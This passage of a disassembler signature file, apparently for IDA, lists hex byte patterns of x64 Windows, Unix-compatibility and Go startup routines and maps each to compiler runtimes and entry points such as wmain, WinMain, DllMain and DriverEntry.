0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+F6(-25!&~-/__winitenv~)??^/wmain;^/main 0127:$LN18 0170:mainCRTStartup$filt$0 0179:$LN17 0198:$LN19 326 | 327 | Pattern: 4883EC4883FA01C705........00000000740D4883C448E9A4FEFFFF0F1F4000 328 | 0000:s=17/- 329 | 330 | Pattern: 4883EC4883FA01C705........00000000740D4883C448E9A4FEFFFFEB029090 331 | 0000:s=17/- 332 | 333 | Pattern: 4883EC4885D28915........48895C242048897C243089D348896C2438488974 334 | 0000:o=2:a=208:c=g:m=+4B^/DllMain 335 | 0000:o=2:a=208:c=g:m=+4B^/DllMain 336 | 337 | Pattern: 4883EC48C705........0000000083FA01740D4883C448E974FEFFFF0F1F4000 338 | 0000:s=17/- 339 | 0000:s=17/- 340 | 341 | Pattern: 4883EC48C705........0000000083FA01740D4883C448E984FEFFFF0F1F4000 342 | 0000:s=17/- 343 | 344 | Pattern: 4883EC48C744242000000000B901000000E8........E8........8944242CE8 345 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+D9(-7F!&~-/GetCommandLineW~)??^/wmain;^/main 00F9:$LN13 346 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+E7(-7F!&~-/GetCommandLineW~)??^/wmain;^/main 0107:$LN14 347 | 348 | Pattern: 4883EC48C744242800000000E8........89442424B901000000E8........85 349 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+E1^/wmain 0101:$LN14 350 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+E2^/main 0102:$LN14 351 | 352 | Pattern: 4883EC48C744242800000000E8........89442424E8........85C0750AB91C 353 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+DD(-7F!&~-/GetCommandLineW~)??^/wmain;^/main 00FD:$LN14 354 | 355 | Pattern: 4883EC48C744243000000000FF15........41B89400000033D2488BC8FF15 356 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+1CB^/wmain 01EB:$LN17 0220:wmainCRTStartup$filt$0 0229:$LN16 0248:$LN18 357 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+1CC^/main 01EC:$LN17 0220:mainCRTStartup$filt$0 0229:$LN16 0248:$LN18 358 | 359 | Pattern: 4883EC48E8........4889442428E8........488B004889442430E8 360 | 0000:o=2:a=204:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+34(-2B!&~-/_get_initial_wide_environment~)??^/wmain;^/main 361 | 362 | Pattern: 4883EC5848895C2450488974244848897C24404C89642438498BF08BDA4C8BE1 363 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+7A^[DllMain]~msmfc64d/~@vc64mfc@; 011C:$LN19 0140:_DllMainCRTStartup$filt$0 0149:$LN18 0156:$LN20 364 | 365 | Pattern: 4883EC5848895C2450488974244848897C24404C89642438498BF08BFA4C8BE1 366 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+7A^[DllMain]~msmfc64d/~@vc64mfc@; 0105:$LN18 0120:_DllMainCRTStartup$filt$0 0129:$LN17 0136:$LN19 367 | 368 | Pattern: 4883EC5848895C247048897C247866813D........4D5A740833DB895C2460EB 369 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+16C(-18!&~-/__winitenv~)??^/wmain;^/main 018B:$LN9 01C0:mainCRTStartup$filt$0 01C9:$LN8 01D6:$LN10 370 | 371 | Pattern: 4883EC58B901000000E8........0FB6C085C0750AB907000000E8........C6 372 | 0000:s=11F/- 015A:$LN18 373 | 0000:s=122/- 015D:$LN18 374 | 0000:s=129/- 016B:$LN18 375 | 376 | Pattern: 4883EC58C74424240000000048C74424380000000033C06689442420E8 377 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+FF(-7D!&~-/GetCommandLineW~)??^/wWinMain;^/WinMain 011F:$LN14 378 | 379 | Pattern: 4883EC58C744242400000000E8........6689442420B902000000E8 380 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+E1(-7D!&~-/GetCommandLineW~)??^/wWinMain;^/WinMain 0101:$LN13 381 | 382 | Pattern: 4883EC6848C744243800000000E8........488B40084889442440C744243400 383 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+198(-25!&~-/__winitenv~)??^/wmain;^/main 01C9:$LN22 384 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+198(-25!&~-/__winitenv~)??^/wmain;^/main 01C9:$LN22 385 | 386 | Pattern: 4883EC6848C744244000000000E8........488B40084889442438C744243000 387 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+18D(-25!&~-/__winitenv~)??^/wmain;^/main 01BE:$LN22 388 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+197(-25!&~-/__winitenv~)??^/wmain;^/main 01C8:$LN22 389 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+197(-25!&~-/__winitenv~)??^/wmain;^/main 01C8:$LN22 0210:__tmainCRTStartup$filt$0 0219:$LN21 0238:$LN23 390 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+197(-25!&~-/__winitenv~)??^/wmain;^/main 01C8:$LN22 0210:__tmainCRTStartup$filt$0 0219:$LN21 0238:$LN23 391 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+197(-25!&~-/__winitenv~)??^/wmain;^/main 01C8:$LN22 0210:__tmainCRTStartup$filt$0 0219:$LN21 0238:$LN23 392 | 393 | Pattern: 4883EC68B901000000E8........0FB6C085C0750AB907000000E8........C6 394 | 0000:s=129/- 0164:$LN18 395 | 396 | Pattern: 4883EC68C744242C00000000C744244400000000C744242000000000C7442438 397 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+216^/wmain 0236:$LN17 0270:__tmainCRTStartup$filt$0 0279:$LN16 0298:$LN18 398 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+217^/main 0237:$LN17 0270:__tmainCRTStartup$filt$0 0279:$LN16 0298:$LN18 399 | 400 | Pattern: 4883EC7848C74424300000000033C06689442438C744243C00000000FF15 401 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+26C^[WinMain]~msmfc64/~@vc64mfc@; 029D:$LN32 402 | 403 | Pattern: 4883EC7848C74424380000000033C06689442430C744244000000000FF15 404 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+242^[wWinMain]~msmfc64u/~@vc64mfc@; 0273:$LN30 405 | 406 | Pattern: 4883EC78C744243800000000E8........668944244048C744245000000000E8 407 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+231^[wWinMain]~msmfc64u/~@vc64mfc@; 0262:$LN30 408 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+25B^[WinMain]~msmfc64/~@vc64mfc@; 028C:$LN32 409 | 410 | Pattern: 4883EC78E8........83F8FF750B8B0D........E8........488D15 411 | 0000:o=20:win64unx:a=204:m=+19C^/ 412 | 0000:o=20:win64unx:a=204:m=+1BB^/ 413 | 414 | Pattern: 4883EC78E8........89442420837C2420FF750B8B0D........E8........48 415 | -0820:__PosixSetUnhandledExceptionFilter -0800:_mainCRTStartup -07C2:$LN6 -07B0:_mainCRTStartup$filt$0 -07A7:$LN5 -0797:$LN7 -0780:__PosixUnhandledExceptionFilter -0750:RaiseException -0730:_fptrap -06F0:__PosixProcessStartup -0510:posix_argv0 -03F0:setup_progname -0380:LoadLdDotSoIfRequired 0000:o=20:win64unx:a=204:m=+EC^+2A^/ 0100:setargv 02E0:wparse_cmdline 416 | 417 | Pattern: 4883EC78E8........C705........00000000488905........48833800488B 418 | 0000:o=20:win64unx:a=204:m=+1EB^/ 419 | 420 | Pattern: 4889542410894C24084883EC38837C2440000F85F0000000E8........488905 421 | -0130:__PosixSetUnhandledExceptionFilter -0110:_mainCRTStartup -00D2:$LN6 -00C0:_mainCRTStartup$filt$0 -00B7:$LN5 -00A7:$LN7 -0090:__PosixUnhandledExceptionFilter -0060:RaiseException -0040:_fptrap 0000:o=20:win64unx:a=204:m=+1C7^+2A^/ 01E0:posix_argv0 0300:setup_progname 0370:LoadLdDotSoIfRequired 06F0:__MixedModeProcessStartup 07F0:setargv 09D0:wparse_cmdline 422 | 423 | Pattern: 48895C2408488974241048897C241841544883EC30498BF08BDA4C8BE1B80100 424 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+77^[DllMain]~msmfc64d/~@vc64mfc@; 0100:$LN18 425 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+7A^[DllMain]~msmfc64d/~@vc64mfc@; 0103:$LN18 426 | 427 | Pattern: 48895C2408488974241048897C241841544883EC30498BF08BFA4C8BE1B80100 428 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+77^[DllMain]~msmfc64d/~@vc64mfc@; 0102:$LN18 0120:__DllMainCRTStartup$filt$0 0129:$LN17 0136:$LN19 429 | 430 | Pattern: 48895C2408488974241048897C241841544883EC30498BF08BFA4C8BE1BB0100 431 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+88^[DllMain]~msmfc64d/~@vc64mfc@; 0111:$LN23 0117:$LN21 0140:__DllMainCRTStartup$filt$0 0149:$LN22 015D:$LN24 0170:__DllMainCRTStartup$fin$1 0179:$LN18 0183:$LN19 432 | 433 | Pattern: 48895C24084889742410574881ECA000000033DB895C2420488D4C2430FF15 434 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+172^[wWinMain]~msmfc64u/~@vc64mfc@; 01C4:$LN33 01F3:$LN29 435 | 436 | Pattern: 48895C24084889742410574881ECA000000033F689742420488D4C2430FF15 437 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+161^[wWinMain]~msmfc64u/~@vc64mfc@; 01B3:$LN27 438 | 439 | Pattern: 48895C24084889742410574883EC20498BF88BDA488BF183FA017505E8 440 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:s=38/- 441 | 0000:s=38/- 442 | 443 | Pattern: 48895C24084889742410574883EC2065488B042530000000488B580833F68BFE 444 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+11B(-25!&~-/__winitenv~)??^/wmain;^/main 014E:$LN21 0190:__tmainCRTStartup$filt$0 0199:$LN20 01A6:$LN22 445 | 446 | Pattern: 48895C24084889742410574883EC2083FA01498BF88BDA488BF17505E8 447 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:s=38/- 448 | 449 | Pattern: 48895C24084889742410574883EC308364242000E8........0FB7F065488B0C 450 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+13E^[WinMain]~msmfc64/~@vc64mfc@; 01A5:$LN29 451 | 452 | Pattern: 48895C24084889742410574883EC30B901000000E8........84C00F84360100 453 | 0000:o=2:a=204:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+107(-D!&~-/_get_initial_wide_environment~)??^/wmain;^/main 012E:$LN18 454 | 0000:o=2:a=204:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+107(-D!&~-/_get_initial_wide_environment~)??^/wmain;^/main 012E:$LN18 455 | 456 | Pattern: 48895C24084889742410574883EC30B901000000E8........84C00F843A0100 457 | 0000:o=2:a=204:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+10B(-D!&~-/_get_initial_wide_environment~)??^/wmain;^/main 0132:$LN18 458 | 459 | Pattern: 48895C24084889742410574883EC30B901000000E8........84C0750BB90700 460 | 0000:o=2:a=204:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+118(-D!&~-/_get_initial_wide_environment~)??^/wmain;^/main 0146:$LN18 461 | 0000:o=2:a=204:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+118(-D!&~-/_get_initial_wide_environment~)??^/wmain;^/main 0146:$LN18 462 | 0000:o=2:a=204:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+11F(-D!&~-/_get_initial_wide_environment~)??^/wmain;^/main 0154:$LN18 463 | 464 | Pattern: 48895C2408574881ECA00000008364242000488D4C2430FF15........906548 465 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+15A^[WinMain]~msmfc64/~@vc64mfc@; 01C1:$LN29 466 | 467 | Pattern: 48895C2408574881ECA0000000C744242000000000488D4C2430FF15 468 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+167^[WinMain]~msmfc64/~@vc64mfc@; 01D0:$LN36 01FF:$LN32 0220:__tmainCRTStartup$filt$0 0229:$LN35 0236:$LN37 469 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+17C^[wWinMain]~msmfc64u/~@vc64mfc@; 01D0:$LN35 01FF:$LN31 0220:__tmainCRTStartup$filt$0 0229:$LN34 0236:$LN36 470 | 471 | Pattern: 48895C2408574883EC20488BDA488BF9E8........488BD3488BCF488B5C2430 472 | 0000:o=2:a=200:ms64wdk:m=+25^/DriverEntry 473 | 474 | Pattern: 48895C2408574883EC2065488B042530000000488B580833FF33C0F0480FB11D 475 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+115(-25!&~-/__winitenv~)??^/wmain;^/main 0148:$LN21 476 | 477 | Pattern: 48895C2408574883EC30B901000000E8........84C00F84300100004032FF40 478 | 0000:o=2:a=204:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+101(-14!&~-/_get_wide_winmain_command_line~)??^[wWinMain]~msmfc64u/~@vc64mfc@;^[WinMain]~msmfc64/~@vc64mfc@ 0128:$LN18 479 | 0000:o=2:a=204:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+101(-14!&~-/_get_wide_winmain_command_line~)??^[wWinMain]~msmfc64u/~@vc64mfc@;^[WinMain]~msmfc64/~@vc64mfc@ 0128:$LN18 480 | 481 | Pattern: 48895C2408574883EC30B901000000E8........84C00F84340100004032FF40 482 | 0000:o=2:a=204:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+105(-14!&~-/_get_wide_winmain_command_line~)??^[wWinMain]~msmfc64u/~@vc64mfc@;^[WinMain]~msmfc64/~@vc64mfc@ 012C:$LN18 483 | 484 | Pattern: 48895C2408574883EC30B901000000E8........84C0750BB907000000E8 485 | 0000:o=2:a=204:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+112(-14!&~-/_get_wide_winmain_command_line~)??^[wWinMain]~msmfc64u/~@vc64mfc@;^[WinMain]~msmfc64/~@vc64mfc@ 0140:$LN18 486 | 0000:o=2:a=204:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+119(-14!&~-/_get_wide_winmain_command_line~)??^[wWinMain]~msmfc64u/~@vc64mfc@;^[WinMain]~msmfc64/~@vc64mfc@ 014E:$LN18 487 | 488 | Pattern: 48895C2410488974241857415441554881ECA0000000488D4C2430FF15 489 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+25B^[wWinMain]~msmfc64u/~@vc64mfc@; 0278:$LN24 0296:$LN20 02C0:__tmainCRTStartup$filt$0 02C9:$LN23 02D6:$LN25 490 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+25C^[WinMain]~msmfc64/~@vc64mfc@; 0279:$LN24 0297:$LN20 02C0:__tmainCRTStartup$filt$0 02C9:$LN23 02D6:$LN25 491 | 492 | Pattern: 48895C2410488974241857415441554883EC30FF15........488BC833D241B8 493 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+22F^/wmain 024C:$LN17 0280:__tmainCRTStartup$filt$0 0289:$LN16 0296:$LN18 494 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+230^/main 024D:$LN17 0280:__tmainCRTStartup$filt$0 0289:$LN16 0296:$LN18 495 | 496 | Pattern: 48895C24104889742418574881ECA0000000488D4C2430FF15........90B84D 497 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+183^[wWinMain]~msmfc64u/~@vc64mfc@; 01A0:$LN19 01BE:$LN15 498 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+184^[WinMain]~msmfc64/~@vc64mfc@; 01A1:$LN19 01BF:$LN15 499 | 500 | Pattern: 48895C24104889742418574883EC30E8........0FB7F0B902000000E8 501 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+135(-65!&~-/GetCommandLineW~)??^/wWinMain;^/WinMain 0152:$LN13 502 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+143(-65!&~-/GetCommandLineW~)??^/wWinMain;^/WinMain 0160:$LN14 503 | 504 | Pattern: 48895C2410574881ECA0000000488D4C2430FF15........41BB4D5A0000488D 505 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+14F(-75!&~-/GetCommandLineW~)??^/wWinMain;^/WinMain 016C:$LN14 506 | 507 | Pattern: 48895C2410574883EC30B84D5A0000663905........740433DBEB38486305 508 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+136(-6F!&~-/GetCommandLineW~)??^/wmain;^/main 0153:$LN14 509 | 510 | Pattern: 48895C2410574883EC30B84D5A0000663905........7556486305........48 511 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+155^/wmain 0172:$LN14 512 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+156^/main 0173:$LN14 513 | 514 | Pattern: 48895C2410574883EC30BF010000008BCFE8........B84D5A0000663905 515 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+131(-6C!&~-/GetCommandLineW~)??^/wmain;^/main 014E:$LN13 516 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+13F(-6C!&~-/GetCommandLineW~)??^/wmain;^/main 015C:$LN14 517 | 518 | Pattern: 4889742408574881ECA00000008364242000488D4C2430FF15........906548 519 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+15A^[WinMain]~msmfc64/~@vc64mfc@; 01C1:$LN34 01F0:$LN30 520 | 521 | Pattern: 4889742408574883EC2065488B042530000000488B780833F633C0F0480FB13D 522 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+115(-25!&~-/__winitenv~)??^/wmain;^/main 0148:$LN21 523 | 524 | Pattern: 4889F84889F34883EC274883E4F0488944241048895C2418488D3D........48 525 | 0000::go_std:i=golang.idc 526 | 0000::go_std:i=golang.idc 527 | 528 | Pattern: 488B05........31D2448B08488B05........4C8B00488B05........488B08 529 | 0000:m=+20^/wWinMain 530 | 531 | Pattern: 488B3C24488D742408E9 532 | 0000:s=9/- 533 | 534 | Pattern: 488BC44881ECA80000004889580848897010488978184C8960204C8968F8488D 535 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+253^[wWinMain]~msmfc64u/~@vc64mfc@; 0270:$LN24 028B:$LN20 02C0:__tmainCRTStartup$filt$0 02C9:$LN23 02D6:$LN25 536 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+254^[WinMain]~msmfc64/~@vc64mfc@; 0271:$LN24 028C:$LN20 02D0:__tmainCRTStartup$filt$0 02D9:$LN23 02E6:$LN25 537 | 538 | Pattern: 488BC44881ECA80000004889581848897820488D4888FF15........90FF15 539 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+23A^[WinMain]~msmfc64/~@vc64mfc@; 0257:$LN23 0275:$LN19 02A0:WinMainCRTStartup$filt$0 02A9:$LN22 02B6:$LN24 540 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+268^[WinMain]~msmfc64/~@vc64mfc@; 0285:$LN24 02A3:$LN20 02C0:WinMainCRTStartup$filt$0 02C9:$LN23 02D6:$LN25 541 | 542 | Pattern: 488BC44881ECA80000004889581848897820488D4888FF15........FF15 543 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+238^[wWinMain]~msmfc64u/~@vc64mfc@; 0255:$LN18 0290:wWinMainCRTStartup$filt$0 0299:$LN17 02A6:$LN19 544 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+266^[wWinMain]~msmfc64u/~@vc64mfc@; 0283:$LN19 02C0:wWinMainCRTStartup$filt$0 02C9:$LN18 02D6:$LN20 545 | 546 | Pattern: 488BC44881ECA80000004889581848897820C744242000000000488D4888FF15 547 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+177^[WinMain]~msmfc64/~@vc64mfc@; 01E0:$LN36 020F:$LN32 0230:__tmainCRTStartup$filt$0 0239:$LN35 0246:$LN37 548 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+18C^[wWinMain]~msmfc64u/~@vc64mfc@; 01E0:$LN35 020F:$LN31 0230:__tmainCRTStartup$filt$0 0239:$LN34 0246:$LN36 549 | 550 | Pattern: 488BC44881ECB8000000488958F8488978F033FF488D4C2430FF15........90 551 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+10A^[WinMain]~msmfc64/~@vc64mfc@; 0171:$LN32 01A0:$LN28 01C0:WinMainCRTStartup$filt$0 01C9:$LN31 01D6:$LN33 552 | 553 | Pattern: 488BC44881ECB8000000488958F8488978F0488D4C2430FF15........90FF15 554 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+252^[WinMain]~msmfc64/~@vc64mfc@; 026F:$LN24 028A:$LN20 02B0:WinMainCRTStartup$filt$0 02B9:$LN23 02C6:$LN25 555 | 556 | Pattern: 488BC44881ECB8000000488958F8488978F0488D4C2430FF15........FF15 557 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+250^[wWinMain]~msmfc64u/~@vc64mfc@; 026D:$LN19 02A0:wWinMainCRTStartup$filt$0 02A9:$LN18 02B6:$LN20 558 | 559 | Pattern: 488BC44881ECC80000004889581848897820488D4888FF15........66813D 560 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+22C^[wWinMain]~msmfc64u/~@vc64mfc@; 024B:$LN21 0290:wWinMainCRTStartup$filt$0 0299:$LN20 02A6:$LN22 561 | 562 | Pattern: 488BC44881ECC80000004889581848897820488D4888FF15........9066813D 563 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+20C^[WinMain]~msmfc64/~@vc64mfc@; 022B:$LN25 024B:$LN21 0270:WinMainCRTStartup$filt$0 0279:$LN24 0286:$LN26 564 | 565 | Pattern: 488BC44883EC7885C94889581848897820488BDA0F859B000000E8........C7 566 | 0000:o=20:win64unx:a=204:m=+24B^/ 567 | 568 | Pattern: 488BC448895808488970104889781841544883EC30498BF08BFA4C8BE1BB0100 569 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+86^[DllMain]~msmfc64d/~@vc64mfc@; 010D:$LN23 0113:$LN21 570 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+8A^[DllMain]~msmfc64d/~@vc64mfc@; 0111:$LN23 0117:$LN21 571 | 572 | Pattern: 488BC448895808488970104889781841564883EC30498BF08BFA4C8BF1BB0100 573 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+88^[DllMain]~msmfc64d/~@vc64mfc@; 010E:$LN23 0114:$LN21 574 | 575 | Pattern: 488BC44889580848897010488978184C89702041574883EC304533FF448978E8 576 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+158^[wWinMain]~msmfc64u/~@vc64mfc@; 01AD:$LN27 577 | 578 | Pattern: 488BC44889580848897010488978184C89702041574883EC304533FF4C8978F0 579 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+15D^[wWinMain]~msmfc64u/~@vc64mfc@; 01B2:$LN27 580 | 581 | Pattern: 488BC44889580848897010574883EC30488360F0008360E800FF15........0F 582 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+144^[WinMain]~msmfc64/~@vc64mfc@; 01AB:$LN29 583 | 584 | Pattern: 488BC4488958204C89401889501048894808565741564883EC40498BF08BFA4C 585 | 0000:o=2:a=208:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+6F^[DllMain]~msmfc64d/~@vc64mfc@; 00DF:$LN16 586 | 0000:o=2:a=208:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+8A^[DllMain]~msmfc64d/~@vc64mfc@; 011B:$LN16 587 | 0000:o=2:a=208:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+8A^[DllMain]~msmfc64d/~@vc64mfc@; 011D:$LN16 588 | 0000:o=2:a=208:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+8A^[DllMain]~msmfc64d/~@vc64mfc@; 011D:$LN16 589 | 590 | Pattern: 488BC4488958204C89401889501048894808565741564883EC404D8BF08BFA48 591 | 0000:o=2:a=208:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+6D^[DllMain]~msmfc64d/~@vc64mfc@; 00F2:$LN19 592 | 0000:o=2:a=208:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+80^[DllMain]~msmfc64d/~@vc64mfc@; 0105:$LN20 593 | 594 | Pattern: 488BC4488958204C89401889501048894808565741564883EC50498BF08BDA4C 595 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+85^[DllMain]~msmfc64d/~@vc64mfc@; 010D:$LN18 596 | 597 | Pattern: 4C894424188954241048894C24084883EC28837C2438017505E8........4C8B 598 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:s=2C/- 599 | 0000:s=2C/- 600 | 601 | Pattern: 4C894424188954241048894C24084883EC38C7442420010000008B4424488905 602 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+A9^[DllMain]~msmfc64d/~@vc64mfc@; 0156:$LN23 015E:$LN21 603 | 604 | Pattern: 4C894424188954241048894C24084883EC48837C2458007510833D........00 605 | 0000:o=2:a=208:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+93^[DllMain]~msmfc64d/~@vc64mfc@; 0124:$LN16 606 | 0000:o=2:a=208:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+A4^[DllMain]~msmfc64d/~@vc64mfc@; 0154:$LN20 607 | 608 | Pattern: 4C894424188954241048894C24084883EC48C744242001000000837C24580075 609 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+9B^[DllMain]~msmfc64d/~@vc64mfc@; 0148:$LN18 610 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+9B^[DllMain]~msmfc64d/~@vc64mfc@; 0159:$LN19 0170:_DllMainCRTStartup$filt$0 0179:$LN18 0198:$LN20 611 | 612 | Pattern: 4C894424188954241048894C24084883EC48C7442420010000008B4424588905 613 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+A9^[DllMain]~msmfc64d/~@vc64mfc@; 0156:$LN23 015E:$LN21 614 | 615 | Pattern: 4C894424188954241048894C24084883EC48C744243001000000837C24580075 616 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+9B^[DllMain]~msmfc64d/~@vc64mfc@; 0148:$LN18 617 | 618 | Pattern: 4C894424188954241048894C24084883EC48C744243001000000837C24580174 619 | 0000:o=2:a=208:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+8D^[DllMain]~msmfc64d/~@vc64mfc@; 013D:$LN19 620 | 621 | Pattern: 4C894424188954241048894C240853565741544883EC28488B7424604C8B6424 622 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+86^[DllMain]~msmfc64d/~@vc64mfc@; 623 | 624 | Pattern: 4C894424188954241048894C2408535657415641574883EC40498BF08BFA4C8B 625 | 0000:o=2:a=208:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+95^[DllMain]~msmfc64d/~@vc64mfc@; 0133:$LN16 626 | 627 | Pattern: 53574881ECB8000000488D4C2440FF15........90FF15........488BC8BF94 628 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+189^[WinMain]~msmfc64/~@vc64mfc@; 01E0:WinMainCRTStartup$filt$0 